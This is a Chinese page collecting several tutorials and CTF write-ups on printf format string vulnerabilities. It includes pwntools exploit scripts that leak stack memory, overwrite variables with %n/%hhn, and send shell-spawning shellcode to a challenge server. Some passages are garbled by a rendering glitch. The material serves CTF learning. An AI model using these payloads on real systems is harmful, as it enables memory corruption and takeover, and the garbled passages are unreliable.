-
2020-12-12 17:25:59
详解格式化字符串漏洞利用
最近看了很多格式化字符串漏洞利用的文章,发现写得都差那么点意思,所以决定自己写一篇,结合实例,好好地把这个知识点捋一捋。
1、漏洞产生原理
对于一般的函数而言,应该按照cdecl (C Declaration) 函数调用规定把函数的参数从右到左依次压栈, 但是printf并不是一般的函数,它是C语言中少有的支持可变参数的库函数,所以,在被调用之前,被调用者无法知道函数调用之前有多少个参数被压入栈中。所以printf函数要求传入一个format参数以指定参数的数量和类型,然后printf函数就会严格的按照format参数所规定的格式逐个从栈中取出并输出参数。 那么,可供选择的输出格式有哪些呢?
-
%d 以十进制整数的格式输出
-
%s 以字符串的的格式输出
-
%x 以十六进制数的格式输出
-
%c 以字符的格式输出
-
%p 以指针的格式输出
-
%n 到目前为止所输出的字符数(把一个int值写到指定的地址去)
让我们看一眼示例代码:
#include <stdio.h> int main() { printf("%s %d %d %d %d","num",1,2,3,4); return 0; }
如果正常运行上述程序的话,汇编代码主体是这样的:
0x000011ad <+20>: add eax,0x2e53 0x000011b2 <+25>: sub esp,0x8 0x000011b5 <+28>: push 0x4 0x000011b7 <+30>: push 0x3 0x000011b9 <+32>: push 0x2 0x000011bb <+34>: push 0x1 0x000011bd <+36>: lea edx,[eax-0x1ff8] 0x000011c3 <+42>: push edx 0x000011c4 <+43>: lea edx,[eax-0x1ff4] 0x000011ca <+49>: push edx 0x000011cb <+50>: mov ebx,eax 0x000011cd <+52>: call 0x1030 <printf@plt>
此时栈里的内容
00:0000│ esp 0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x' 01:0004│ 0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */ 02:0008│ 0xffffd198 ◂— 0x1 03:000c│ 0xffffd19c ◂— 0x2 04:0010│ 0xffffd1a0 ◂— 0x3 05:0014│ 0xffffd1a4 ◂— 0x4 06:0018│ 0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd452 ◂— 'SHELL=/bin/bash' 07:001c│ 0xffffd1ac —▸ 0x565561ad (main+20) ◂— add eax, 0x2e53
此时,一个大胆的想法浮现到了脑海中:如果我给出的format参数的个数大于待输出的参数数量会发生什么事情呢?
示例代码:
#include <stdio.h> int main() { printf("%s %d %d %d %d %x %x","num",1,2,3,4); return 0; }
汇编代码主体:
0x000011ad <+20>: add eax,0x2e53 0x000011b2 <+25>: sub esp,0x8 0x000011b5 <+28>: push 0x4 0x000011b7 <+30>: push 0x3 0x000011b9 <+32>: push 0x2 0x000011bb <+34>: push 0x1 0x000011bd <+36>: lea edx,[eax-0x1ff8] 0x000011c3 <+42>: push edx 0x000011c4 <+43>: lea edx,[eax-0x1ff4] 0x000011ca <+49>: push edx 0x000011cb <+50>: mov ebx,eax 0x000011cd <+52>: call 0x1030 <printf@plt>
栈:
00:0000│ esp 0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x' 01:0004│ 0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */ 02:0008│ 0xffffd198 ◂— 0x1 03:000c│ 0xffffd19c ◂— 0x2 04:0010│ 0xffffd1a0 ◂— 0x3 05:0014│ 0xffffd1a4 ◂— 0x4 06:0018│ 0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd44e ◂— 'SHELL=/bin/bash' 07:001c│ 0xffffd1ac —▸ 0x565561ad (main+20) ◂— add eax, 0x2e53
运行结果:
1 2 3 33 test 1a1390 4013e8 -------------------------------- Process exited after 0.01398 seconds with return value 0
虽然我们给了7个格式化输出的参数,但是实际压入栈中的参数只有5个,所以,printf会输出两个本不应该输出的地址内容,借助这个漏洞,我们就泄露出了栈中的数据。
2、漏洞利用
1).泄露任意地址内容
我们借助攻防世界一道题(CGfsb)来理解这个知识点
下面是使用IDA得到的伪代码主体
01| puts("please tell me your name:"); 02| read(0, &v5, 0xAu); 03| puts("leave your message please:"); 04| fgets((char *)&v8, 100, stdin); 05| printf("hello %s", &v5); 06| puts("your message is:"); 07| printf((const char *)&v8); 08| if ( pwnme == 8 ) 09| { 10| puts("you pwned me, here is your flag:\n"); 11| system("cat flag"); 12| } 13| else 14| { 15| puts("Thank you!"); 16| }
看到第7行,printf输出了在前面输入的v8变量,但是并没有给出任何格式化参数,所以我们可以通过构造v8的值来让printf误以为程序给出了格式化参数,从而乖乖的按照我们的意思输出我们所需的值。
运行效果:
Starting program: /root/pwn resources/gongfang/CGfsb_print_f please tell me your name: aaaa leave your message please: AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p hello aaaa your message is: AAAA0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 Thank you! [Inferior 1 (process 622877) exited normally]
显然,程序泄露出了我们想要知道的printf函数的栈帧中输出字符串后19个内存单元的值,理论上来说,我们可以使用这个漏洞来进行任意读栈中的值
(没错又是这种为所欲为的快乐)2).修改任意地址值
也许有人看到这个标题可能会觉得很疑惑,为什么printf还能进行写入操作?
任意地址写就要用到上面说的%n了,示例如下:
int main(void) { int c = 0; printf("the usage of %n", &c); printf("c = %d\n", c); return 0; }
这个程序的输出值会是"c = 13"
就是说**%n参数把他前面输出的字符数赋值给了变量c**
那么,我们只要更改c所对应栈中的地址不就可以把我们想要的数值赋给对应地址了吗?
也许到这一步你有点不能理解,没关系,我们来看栈的结构
printf函数栈顶 格式化输出参数(%d %x %s %n) 待输出参数1(%d格式) 待输出参数2(%x格式) 待输出参数3(%s格式) 待赋值参数4(地址) printf函数栈底 先前调用的函数栈顶** … … … 就是说,我们把先前输出字符的总长度赋值给了参数4所对应的地址,也就是说,我们只要控制前面输出的长度就可以控制该参数所对应地址的值了。
但是,问题又来了,我们怎么控制参数4的值呢?
这就需要用到printf的另外一个特性:$操作符。这个操作符可以输出指定位置的参数。
就是说,假如格式化输出参数是“%6$n”的话,就把之前输出的长度赋值给printf函数的第6个参数,但是printf函数根本不知道自己的栈有多大,所以我们只需要把这个偏移数值定位到我们能够修改的内存空间,比如说题目中的v8变量所在地址就可以了~
那么题目中的偏移量是多少呢?
我们看前面构造的偷看任意位置内存空间的输入运行结果:
AAAA 0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025
看到‘0x41414141‘,就是我们输入的AAAA,也就是说,我们能控制的内存空间相对位置在printf函数的第10个参数位置(其实printf函数根本没有这么多个参数,只不过他自己并不知道)(10是怎么来的?从AAAA到0x41414141还有九个输出值,所以v8在相对第十个参数位置)
所以我们就可以构造我们的exp了!!!
from pwn import * r = process("./CGfsb") pwnme_addr = 0x0804A068 #pwnme地址在伪代码中双击查看 payload = p32(pwnme_addr) + 'aaaa' + '%10$n' #pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用,使得 r.recvuntil("please tell me your name:\n") r.sendline('aaaa') r.recvuntil("leave your message please:\n") r.sendline(payload) r.interactive()
这篇文章查资料以及码字一共花了两天,期间问了相当多大佬,但始终没能得到自己想要的答案,最后还是靠着自己对汇编的理解以及函数的特性码出了这篇文章。果然,一入pwn门深似海,从此头发是路人。如果对看完文章的你有帮助,不妨点一波赞支持支持头皮发凉的我呗【手动滑稽】
更多相关内容 -
-
格式化字符串漏洞
2022-02-13 13:09:00格式化字符串漏洞 初学pwn,学到了格式化字符串漏洞,总结一下。 格式化字符串函数:格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。 漏洞printf(s) 用 printf() 为例,它的第一个...格式化字符串漏洞
初学pwn,学到了格式化字符串漏洞,总结一下。
格式化字符串函数:格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。
漏洞printf(s)
用 printf() 为例,它的第一个参数就是格式化字符串 :“Color %s,Number %d,Float %4.2f”
然后 printf 函数会根据这个格式化字符串来解析对应的其他参数
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
%hhn - 写1字节
%hn - 写2字节
%ln - 写4个字节
%lln - 写8字节
格式转换
格式化字符串是由普通字符(包括%)和转换规则构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入到输出流中。
转换规则由可选的部分和必选部分组成。其中只有转换指示符type是必选部分,用来表示转换类型。
可选部分如下:
-
可选部分的 parameter比较特殊,他是一个POSIX扩展,不属于C99,用于指定某个参数,例如**%2$d**,表示输出后面的第二个参数。
-
标志(flags)用来调整输出和打赢的符号,空白,小数点等。
-
宽度(width)用来指定输出字符的最小个数。
-
精度(.precision)用来指示打印符号个数,小数点位数或者有效数字个数。
-
长度(length)用来指定参数的大小。
%[parameter][flags][width][.precision][length]type
漏洞原理
格式化字符串漏洞从2000年左右开始流行起来,几乎在各种软件中都能见到它的身影,随着技术的发展,软件的安全性的提升,现在在PC段已经比较少见了,但是在物联网设备上依然层出不穷。2001年USENIX security会议上发表的文章为glibc提供了一个对抗格式化字符串漏洞的patch,通过静态分析检查参数个数与格式化字符串是否匹配。另一项安全机制FORTIFY_SOURCE也让该漏洞的利用更加困难。
基本原理
在X86结构下,格式化字符串的参数是通过栈传递的。
#include<stdio.h> void main() { printf("%s %d %s","hello World",233,"\n"); } ..................... 0x565561f6 <main+41> lea edx, [eax - 0x1fce] 0x565561fc <main+47> push edx 0x565561fd <main+48> lea edx, [eax - 0x1fc2] 0x56556203 <main+54> push edx 0x56556204 <main+55> mov ebx, eax ► 0x56556206 <main+57> call printf@plt <printf@plt> format: 0x56557016 ◂— '%s %d %s' vararg: 0x5655700a ◂— 'hello World' 0x5655620b <main+62> add esp, 0x10 0x5655620e <main+65> nop 0x5655620f <main+66> lea esp, [ebp - 8] 0x56556212 <main+69> pop ecx 0x56556213 <main+70> pop ebx .................. 00:0000│ esp 0xffffcf40 —▸ 0x56557016 ◂— '%s %d %s' 01:0004│ 0xffffcf44 —▸ 0x5655700a ◂— 'hello World' 02:0008│ 0xffffcf48 ◂— 0xe9 03:000c│ 0xffffcf4c —▸ 0x56557008 ◂— 0x6568000a /* '\n' */ 04:0010│ 0xffffcf50 —▸ 0xffffcf70 ◂— 0x1 05:0014│ 0xffffcf54 ◂— 0x0 06:0018│ ebp 0xffffcf58 ◂— 0x0 07:001c│ 0xffffcf5c —▸ 0xf7ddfed5 (__libc_start_main+245) ◂— add esp, 0x10
根据cdecl的调用约定,在进入printf函数之前,程序将参数从右到左依次压栈。进入printf()之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是“%”,那么字符被直接复制到输出。否则,读取下一个非空字符,获取相应的参数并解析输出。
接下来我们修改上面的程序,给格式化字符串加上“%x %x %x %3$s",使它出现格式化字符串漏洞。
0x565561f6 <main+41> lea edx, [eax - 0x1fce] 0x565561fc <main+47> push edx 0x565561fd <main+48> lea edx, [eax - 0x1fc2] 0x56556203 <main+54> push edx 0x56556204 <main+55> mov ebx, eax ► 0x56556206 <main+57> call printf@plt <printf@plt> format: 0x56557016 ◂— '%x %x %x %3$s' vararg: 0x5655700a ◂— 'hello World' 0x5655620b <main+62> add esp, 0x10 0x5655620e <main+65> nop 0x5655620f <main+66> lea esp, [ebp - 8] 0x56556212 <main+69> pop ecx 0x56556213 <main+70> pop ebx ───────────────────────────────────────────── 1 #include<stdio.h> 2 void main() 3 { ► 4 printf("%x %x %x %3$s","hello World",233,"\n"); 5 6 } ────────────────────────────────────────────────── 00:0000│ esp 0xffffcf40 —▸ 0x56557016 ◂— '%x %x %x %3$s' 01:0004│ 0xffffcf44 —▸ 0x5655700a ◂— 'hello World' 02:0008│ 0xffffcf48 ◂— 0xe9 03:000c│ 0xffffcf4c —▸ 0x56557008 ◂— 0x6568000a /* '\n' */ 04:0010│ 0xffffcf50 —▸ 0xffffcf70 ◂— 0x1 05:0014│ 0xffffcf54 ◂— 0x0 06:0018│ ebp 0xffffcf58 ◂— 0x0 07:001c│ 0xffffcf5c —▸ 0xf7ddfed5 (__libc_start_main+245) ◂— add esp, 0x10
从反汇编代码来看没有任何区别。所以我们重点关注参数传递。程序打印出来了四个值,参数只有三个。
如果我们将程序里面的格式化字符省略,转为由外部输入。
1 #include<stdio.h> 2 void main() 3 { char s[100]; scanf(s); 4 printf(s); 5 6 }
如果大家都正常输入字符,程序不会有问题,但如果我们在s里面输入一些转换指示符。那么printf()会把它当成格式化字符串解析,漏洞由此发生。
格式化字符串漏洞的发生条件就是格式化字符串要求的参数和实际上提供的参数不匹配。
漏洞利用原理
对于格式化字符串漏洞的利用主要有:使程序崩溃,栈数据泄露,任意地址内存泄露,栈数据覆盖,任意地址内存覆盖。
程序崩溃
这种攻击方法最简单,只需要输入一串 %s 就可以
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
对于每一个 %s,printf() 都会从栈上取一个数字,把该数字视为地址,然后打印出该地址指向的内存内容,由于不可能获取的每一个数字都是地址,所以数字对应的内容可能不存在,或者这个地址是被保护的,那么便会使程序崩溃
**在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV (SIGSEGV分为SIG+SEGV。SIG是信号名的通用前缀;SEGV是segmentation violation(段违例)的缩写。)**信号,从而使程序非正常终止并产生核心转储(产生错误报告)。
泄露内存
通过%x将栈后面的参数给泄露出来。
%x会在栈上找临近的一个参数,根据 格式化字符串 给打印出来,这样就把他后面一个栈上的值给输出出来了。
但是上面的都是获取临近的内容进行输出,我们不可能只要这几个东西,可以通过 %n$x 来获取被视作第 n+1 个参数的值(格式化字符串是第一个参数).
另外也可以通过 %s 来获取栈变量对应的字符串。
小技巧:
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别
利用 %s 来获取变量所对应地址的内容,只不过有零截断
利用 %n x 来 获 取 指 定 参 数 的 值 , 利 用 x 来获取指定参数的值,利用 %n x来获取指定参数的值,利用s 来获取指定参数对应地址的内容
泄露任意地址的内存
攻击者使用类似于“%s”的格式规范就可以泄露出参数(指针指向内部存的数据),程序会将它作为一个ASCII字符串处理,直到遇到一个空字符。所以,如果攻击者能够操纵这个参数的值,那就可以泄露任意地址的内容。
之前的方法还只是泄露栈上变量值,没法泄露变量的地址,但是如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容
addr%k$x
下面就是确定格式化字符串是第几个参数了,一般可以通过 [tag]%p%p%p%p%p%p%p%p%p 来实现,如果输出的内容跟我们前面的 tag 重复了,那就说明我们找到了,但是不排除栈上有些其他变量也是这个值,所以可以用一些其他的字符进行再次尝试
当然这也可以用 AAAA%4$p 来达到同样的效果,通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址
使用 objdump -R fs1 查看一下 got 表
%s 是把地址指向的内存内容给打印出来,可以把 函数的地址给打印出来。
覆盖栈内存
%n,不输出字符,但是把已经成功输入的字符个数写入对应的整型指针参数所指的变量,只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值。
一般来说,利用分为以下的步骤:
-
确定覆盖地址
-
确定相对偏移
-
进行覆盖
源文件
#include <stdio.h> int a = 123, b = 456; int main() { int c = 789; char s[100]; printf("a= %p b= %p c= %p\n",&a ,&b, &c); scanf("%s", s); printf(s); if (c == 16) { puts("modified c."); } else if (a == 2) { puts("modified a for a small number."); } else if (b == 0x12345678) { puts("modified b for a big number!"); } return 0; }
关于覆盖偏移的话可以通过测试得出来:
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9cnuysRP-1649481385031)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220213113952399.png)]
可以看到格式化字符是第6个参数。
那接下来,通过 %n 来进行覆盖,c_addr+%012d+%6$n
c_addr 再加上 12 之后才能凑够 16,这样就可以把 c 改成 16。
%n可以将对应参数地址存储的值给改写。
覆盖任意地址内存
覆盖小数字
如果想要将一个地方改为一个较小的数字,只需要 %n 是 数字 就可以了,如果想改成 2,可以用 aa%k$n,但是有个问题,之前我们是把地址放在前面,加上地址(4或8字节)之后就成了一个至少比 4 大的数
aa%k n x x , 如 果 用 这 样 的 方 式 , 前 面 a a nxx,如果用这样的方式,前面 aa%k 是第六个参数, nxx,如果用这样的方式,前面aanxx 是第七个参数,后面在跟一个 我们想要修改的地址,那么这个地址就是第八个参数,只需要把 k 改成 8 就可以把这第八个参数改成 2,aa%8$nxx。
from pwn import * sh = process('./overwrite') a_addr = 0x0804A024 payload = 'aa%8$naa' + p32(a_addr) sh.sendline(payload) print sh.recv() sh.interactive()
这里掌握的小技巧:没有必要把地址放在最前面,只需要找到它对应的偏移就可以。
覆盖大数字
变量在内存中都是以字节的格式存储的,在 x86、x64 中是按照小端存储的,格式化字符串里面有两个标志用的上了:
h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数意思是说:hhn 写入的就是单字节,hn 写入的就是双字节。
from pwn import * sh = process('./overwrite') b_addr=0x0804A028 payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3) payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn' sh.sendline(payload) #sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678})) #pwntools带着一个函数,很方便 print sh.recv() sh.interactive()
前面的那一串 p32(),每算是 4 字符,这样到 %6$hhn 前面就是:16+104=120,也就是 0x78
再加上 222 就是 342,也就是 0x156,然后依次是:0x234、0x312,又因为 hh 是写入单字节的,又是小端存储,也就是只能取后边两个,所以连起来就是 0x12345678
ps:
对于格式化字符串漏洞的题可以用pwntools的工具fatstr_payload()来简化构造payload。
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload但是我们一般用的格式是
fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})
这是专门为32位格式化漏洞的函数。
下面是函数的源代码:
def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = "%" + str(result) + "c" elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn" return fmtstr def fmt_str(offset, size, addr, target): payload = "" for i in range(4): if size == 4: payload += p32(addr + i) else: payload += p64(addr + i) prev = len(payload) for i in range(4): payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) prev = (target >> i * 8) & 0xff return payload
-
-
格式化字符串漏洞自动检测与测试用例生成
2021-04-30 12:42:52格式化字符串漏洞是一种危害高、影响广的软件漏洞。当前漏洞检测方式存在人工依赖度高、误报率高、检测模型单一、未能充分考虑格式化字符串漏洞特点等多种局限性。针对以上问题,对格式化字符串漏洞特征进行分析,... -
格式化字符串攻击检测与防范研究 (2007年)
2021-05-07 07:14:58采用基于源代码的检测方法对格式化字符串漏洞进 行检测,并阐述了漏洞检测方法的原理和关键代码。最后对格式化字符串攻击的3种防范技术 FormatGuard、L ibsafe和 White-Listing进行了比较研究,特别对 Linux下的基于... -
格式化字符串漏洞利用
2017-04-14 20:23:53格式化字符串漏洞利用 -
CTF-PWN笔记(二)-- 格式化字符串漏洞
2022-01-27 15:16:22文章目录漏洞介绍格式化字符串的格式漏洞原理及利用例题 漏洞介绍 格式化字符串(英语:format string)是一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数。例如C、C++等程序设计语言的...漏洞介绍
格式化字符串(英语:format string)是一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数。例如C、C++等程序设计语言的
printf
类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。
通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分
格式化字符串函数 格式化字符串 后续参数,可选
函数原型:
int printf (“格式化字符串”,参量… )
函数的返回值是正确输出的字符的个数,如果输出失败,返回负值。
参量表中参数的个数是不定的。常见的有格式化字符串函数有:
输入函数:
scanf()
输出函数:函数 基本介绍 printf 输出到 stdout fprintf 输出到指定 FILE 流 vprintf 根据参数列表格式化输出到 stdout vfprintf 根据参数列表格式化输出到指定 FILE 流 sprintf 输出到字符串 snprintf 输出指定字节数到字符串 vsprintf 根据参数列表格式化输出到字符串 vsnprintf 根据参数列表格式化输出指定字节到字符串 setproctitle 设置 argv syslog 输出日志 err, verr, warn, vwarn 等 … 格式化字符串的格式
%[parameter][flags][field width][.precision][length]type
parameter
Parameter可以忽略或者是:n$
,n是用这个格式说明符(specifier)显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。
如果任意一个占位符使用了parameter,则其他所有占位符必须也使用parameter。
例如:
printf("%2$d %2$#x; %1$d %1$#x",16,17)
产生"17 0x11; 16 0x10"
flag
Flags可为0个或多个:
field width
输出的最小宽度
precision
输出的最大长度对于d、i、u、x、o的整型数值,是指最小数字位数,不足的位要在左侧补0,如果超过也不截断,缺省值为1。对于a,A,e,E,f,F的浮点数值,是指小数点右边显示的数字位数,必要时四舍五入或补0。
length
,指出浮点型参数或整型参数的长度,
需要注意:hh,输出一个字节 h,输出一个双字节
type
d/i
,有符号整数
u
,无符号整数
x/X
,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
o
,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
s
,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
c
,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
p
, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
n
,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%
, '%'字面值,不接受任何 flags, width。漏洞原理及利用
格式化字符串函数是根据格式化字符串来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说
%s
表明我们会输出一个字符串参数。我们在此举一个例子:
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下;
(这里我们假设 3.14 上面的值为某个未知的值。)
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况:
当前字符不是 %,直接输出到相应标准输出。 当前字符是 %, 继续读取下一个字符 如果没有字符,报错 如果下一个字符是 %, 输出 % 否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子:
printf("Color %s, Number %d, Float %4.2f");
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
1.解析其地址对应的字符串 2.解析其内容对应的整形值 3.解析其内容对应的浮点值
其中,如果1处地址是一个不可访问的地址,就会导致程序崩溃。
比如我们输入若干个
%s
就会导致程序崩溃,因为栈上不可能每个值都对应合法的地址。
%s%s%s%s%s%s%s%s%s%s%s%s%s%s我们还可以利用格式化字符串漏洞来获取我们想要知道的内容:
比如:泄露栈内存 获取某个变量的值 获取某个变量对应地址的内存 泄露任意地址内存 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址 盲打,dump 整个程序,获取有用信息。
利用参考博客:
https://blog.csdn.net/qq_43394612/article/details/84900668https://zhuanlan.zhihu.com/p/147542190
例题
本处例题为攻防世界题目
string
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5056&page=1检查文件保护机制:
IDA找主函数:
进入sub_400D72,
在sub_400BB9中发现格式化字符串漏洞:
在sub_400CA6函数中,我们发现了第17行代码是将v1转为一个可执行的函数。我们可以利用这里。
本题没有出现system函数,所以要在此处写个shellcode.
要运行至此处,要先满足 if ( *a1 == a1[1] )
a1是前面的v4传入函数的形参,就是个地址。
a[0]=v4[0]=v3[0]=68 , a[1]=v4[1]=v3[1]=85 。我们要将a[0]和a[1]修改为相同的值。
可以通过前面提到的格式化字符串漏洞来修改。
函数
sub_400BB9()
内的v2是我们输入的v4的地址,我们需要知道v2在栈内的位置,这样才能通过%?$n
向v2指向的地址处写入字符串长度。我们首先来查看
sub_400BB9()
栈内情况,sub_400BB9
函数在漏洞处要求我们输入wish并打印出来。
from pwn import * re = remote('111.200.241.244',62322) context(arch = 'amd64', os = 'linux', log_level = 'debug') re.recvuntil('secret[0] is ') v4_addr = int(re.recvuntil('\n')[:-1], 16) re.sendlineafter("What should your character's name be:", 'cxk') re.sendlineafter("So, where you will go?east or up?:", 'east') re.sendlineafter("go into there(1), or leave(0)?:",'1') re.sendlineafter("'Give me an address'", str(int(v4_addr))) re.sendlineafter("And, you wish is:", 'AAAA'+'-%p'*10) re.recvuntil('I hear it')
我们观察返回来的数据:AAAA-0x7f3cf04206a3-0x7f3cf0421780-0x7f3cf01522c0-0x7f3cf0648700-0x7f3cf0648700-0x100000022-0x22ea010-0x2d70252d41414141-0x70252d70252d7025-0x252d70252d70252dI hear it, I hear it…\n’
0x22ea010是v2的内容,因为v2在format(就是许下的愿望wish)的前面一位。v2是栈内第7个参数。
所以wish就写成
%85c%7$n
意思是是将85写入栈内第7个参数所指向的地址。
from pwn import * re = remote("111.200.241.244","62322") context(arch = 'amd64', os = 'linux' , log_level = 'debug') re.recvuntil('secret[0] is ') v4_addr = int(re.recvuntil('\n')[:-1], 16) re.sendlineafter("What should your character's name be:", 'cxk') re.sendlineafter("So, where you will go?east or up?:", 'east') re.sendlineafter("go into there(1), or leave(0)?:", '1') re.sendlineafter("'Give me an address'", str(int(v4_addr))) re.sendlineafter("And, you wish is:", '%85c%7$n') shellcode = asm(shellcraft.sh()) re.sendlineafter("USE YOU SPELL", shellcode) re.interactive()
获得执行system(“/bin/sh”)汇编代码所对应的机器码:
asm(shellcraft.sh())
。注意要指明arch和os。代码的第二段从
printf("secret[0] is %x\n", v4, a2);
输出的字符串中,提取v4的地址,注意把末尾的 \n 剔除。然后代码的第四段
Give me an address
,注意源代码中_isoc99_scanf("%ld", &v2);
,读入的不是字符串,是int64,是个数字。
我们的整体思路是:通过格式化字符串漏洞修改v4[0]的值,使之与v4[1]相等。然后读入shellcode并运行。
运行脚本得到结果:
-
格式化字符串漏洞讲解及实例爆破
2021-11-29 22:46:55格式化字符串漏洞两种方式: 1)泄露所指向的代码,读取指针本身的地址数据(%p) 2)泄露地址所指向的数值,指针指向的数据(%s)---1.泄露栈上存放地址 字符串在栈中存放的是其地址,数据不直接存于栈中,所以...格式化字符串漏洞两种方式:
1)泄露所指向的代码,读取指针本身的地址数据(%p)
2)泄露地址所指向的数值,指针指向的数据(%s)---1.泄露栈上存放地址
3)将某地址数据修改置X(%n)
字符串在栈中存放的是其地址,数据不直接存于栈中,所以直接进行字符串读取时,有下例:
从中可以看出%p和%s的区别
再看字符串存取规则:
一般存放字符串时:
如图所示,字符串以 X00 标志位进行结尾,当读取至结尾时便能中断。存在栈中的指针是字符串的头部指针。
根据如上原理,构建简单攻击:
当我们直接进行printf("%p%p%p"),对 %p%p%p的栈中地址后面三位地址进行参数传递(X86),可以读取至我们想要的flag地址处进行信息泄露,基于此,当我们要泄露参数很远的flag可以这么处理:printf("%80$p"):表示打印第80个参数值的信息(栈中%p往上100)
故格式化字符串的漏洞本质是:将%s等读取的栈上内容进行溢出并修改至我们想暴露的地址,输出相应的地址(%s)或者值(%p)。
延伸:任意地址输出,由于printf("%p%p%p")中的%p%p%p参数也存放于栈中,当我们控制内存区域的%p%p%p数进行修改,就可以进行任意地址泄露。
题目实例:
根据代码逆向可知:需要将x数值置为4,可以获取shell。
read(0, &buf, 0x50u);//向栈中输入数据
printf(&buf); //将栈中数据读取出来攻击思路:
利用格式化字符串,将x地址加载入栈中,而后利用printf(%n)的原理,将已输出的的字节数输出到x地址中。
调试代码运行:
利用gdb调试程序,在read中输入%p %p %p ,查看目前栈中数据,可知:目前printf的字符的数据存储位置为:0xffffd07c,而7c位置离栈顶位置为:0b-00=12,所以:此时我们构建payload时,可以构建:x_addr+b'%11$n'(x_addr作为字附本身占了一个位置,偏移11位置即能读取到7c位置,然后对7c位置中的x_addr地址值中的值进行数据修改,而x_addr的地址为四个字节(2个数字一个字节)),恰好将4写入x地址中。
-
格式化字符串漏洞归纳
